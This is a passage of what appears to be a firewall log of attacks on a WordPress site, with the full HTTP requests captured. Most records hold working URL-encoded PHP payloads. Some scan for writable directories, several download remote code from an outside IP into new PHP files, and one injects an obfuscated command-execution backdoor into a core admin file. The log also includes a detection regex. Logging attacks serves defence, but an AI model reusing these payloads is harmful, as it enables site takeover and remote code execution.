SK:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3822\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nSK=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 12:01:58","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ny:%3C%3Fphp%20%20file_put_contents%28%27ChangeName.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UyYeuaPWZE%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:173\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nny=%3C%3Fphp%20%20file_put_contents%28%27ChangeName.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UyYeuaPWZE%27%29%29%3B"]
["2026-05-12 12:04:09","131.72.236.108","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Am:%3C%3Fphp%20%20file_put_contents%28%27insertdialog25.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OXhtKSGqoP%27%29%29%3B","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:177\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nAm=%3C%3Fphp%20%20file_put_contents%28%27insertdialog25.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OXhtKSGqoP%27%29%29%3B"]
["2026-05-12 12:04:30","95.216.28.151","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bi:%3C%3Fphp%20%20file_put_contents%28%27option.transfer.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EjykyrQGHe%27%29%29%3B","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:178\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nBi=%3C%3Fphp%20%20file_put_contents%28%27option.transfer.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EjykyrQGHe%27%29%29%3B"]
["2026-05-12 12:04:34","173.212.252.15","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> If:%3C%3Fphp%20%20file_put_contents%28%27addpic.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FNyTftFbuD%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:169\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIf=%3C%3Fphp%20%20file_put_contents%28%27addpic.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FNyTftFbuD%27%29%29%3B"]
["2026-05-12 12:04:51","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27spacer.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JWgRtGXAWj%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:192\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27spacer.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JWgRtGXAWj%27%29%29%3B\"));"]
["2026-05-12 12:05:07","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SU:%3C%3Fphp%20%20file_put_contents%28%27combat.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/mdMfJIeKFS%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:169\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nSU=%3C%3Fphp%20%20file_put_contents%28%27combat.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/mdMfJIeKFS%27%29%29%3B"]
["2026-05-12 12:38:34","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:6941\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google 